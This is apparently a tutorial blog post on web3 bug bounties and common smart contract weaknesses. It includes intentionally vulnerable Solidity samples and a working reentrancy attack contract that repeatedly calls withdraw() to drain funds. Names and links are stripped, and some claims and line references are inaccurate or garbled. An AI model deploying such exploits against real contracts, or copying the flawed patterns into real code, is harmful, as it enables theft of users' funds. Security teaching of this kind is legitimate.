visit
Web3 bug bounty is a relatively new topic and there are not many platforms for it. But in 2017, a new cybersecurity consulting company named started working on providing cybersecurity services for blockchain security. is a part of the Hacken group. Also, is a good web3 bug bounty platform, that was founded in 2020. Immunefi offers the largest bounties to white hackers, for example, a single program (wormhole) in Immunefi offers $10,000,000 for critical smart contract bugs.
The most popular smart contract language is Solidity. This language is an object-oriented, high-level language for implementing smart contracts. If you already know a programming language, learning Solidity is very easy for you, “” is a better resource for learning Solidity.
Another popular language for writing smart contracts is JavaScript. This popular language works on both client and server-side. The Book “” is the best way to learn JavaScript. The most popular web3 libraries for JavaScript are web3.js
and ethers.js
. Apart from Solidity and Javascript, Viper and Rust are also good languages for smart contracts.
Web3 bugs are not like web2 bugs, and there are differences. You can find web2 bugs in web3 applications, not in smart contracts. In web2 we classify vulnerabilities with CWE, but in the smart contract, we classify issues with Smart Contract Weakness Classification (SWC). You can find a complete list of smart contract vulnerabilities at , however, in this article I will introduce you to some popular smart contract vulnerabilities.
pragma solidity ^0.4.24;
**contract** **FunctionDefaultVisibility** {
**function** **withdrawWinnings**() {
**require**(**uint32**(msg.sender) == 0);
\_sendWinnings();
}
**function** **\_sendWinnings**() {
msg.sender.transfer(this.balance);
}
}
As you can see, no function visibility (private, public, internal…) has been set.
contract DepositFunds {
mapping(address => uint) public balances;
function deposit() public payable {
balances\[msg.sender\] += msg.value;
}
function withdraw() public {
uint bal = balances\[msg.sender\];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances\[msg.sender\] = 0;
}
}
The vulnerability comes when the user requests a number of ethers. In this case, the attacker calls the withdraw()
function. He can transfer tokens even though he has already received tokens because his balance is not yet set to 0.
contract Attack {
DepositFunds public depositFunds;
constructor(address \_depositFundsAddress) {
depositFunds = DepositFunds(\_depositFundsAddress);
}
// Fallback is called when DepositFunds sends Ether to this contract.
fallback() external payable {
if (address(depositFunds).balance >= 1 ether) {
depositFunds.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
depositFunds.deposit{value: 1 ether}();
depositFunds.withdraw();
}
}
Read more about The Reentrancy Attack.
Often, people assume that the use of a cryptographic signature system in Ethereum contracts verifies that signatures are unique, but signatures in Ethereum can be altered without the possession of the private key and remain valid. For example, elliptic key cryptography consists of three variables: v
, r
, and s
and if these values are modified in just the right way, you can obtain a valid signature with an invalid private key.
pragma solidity ^0.4.25;
contract Wallet {
uint\[\] private bonusCodes;
address private owner; constructor() public {
bonusCodes = new uint\[\](0);
owner = msg.sender;
} function () public payable {
} function PushBonusCode(uint c) public {
bonusCodes.push(c);
} function PopBonusCode() public {
require(0 <= bonusCodes.length);
bonusCodes.length--;
} function UpdateBonusCodeAt(uint idx, uint c) public {
require(idx < bonusCodes.length);
bonusCodes\[idx\] = c;
} function Destroy() public {
require(msg.sender == owner);
selfdestruct(msg.sender);
}
}
As you can see, in line 4 the bonusCodes
variable declared that in line 26 we could write in this location.
Now that you have enough knowledge about DeFi, DApp, and Web3, I recommend learning more about the smart contract weaknesses, this can be very helpful. If you want an Ethereum virtual machine to test smart contract bugs on them, CTFs can help. You can practice the lessons learned and become more familiar with Web3 hacking.
, , and is the best CTFs for practicing smart contract vulnerabilities. Solutions for these CTFs are available on Hackernoon and you can find them there with the solidity-hack tag.
Also published .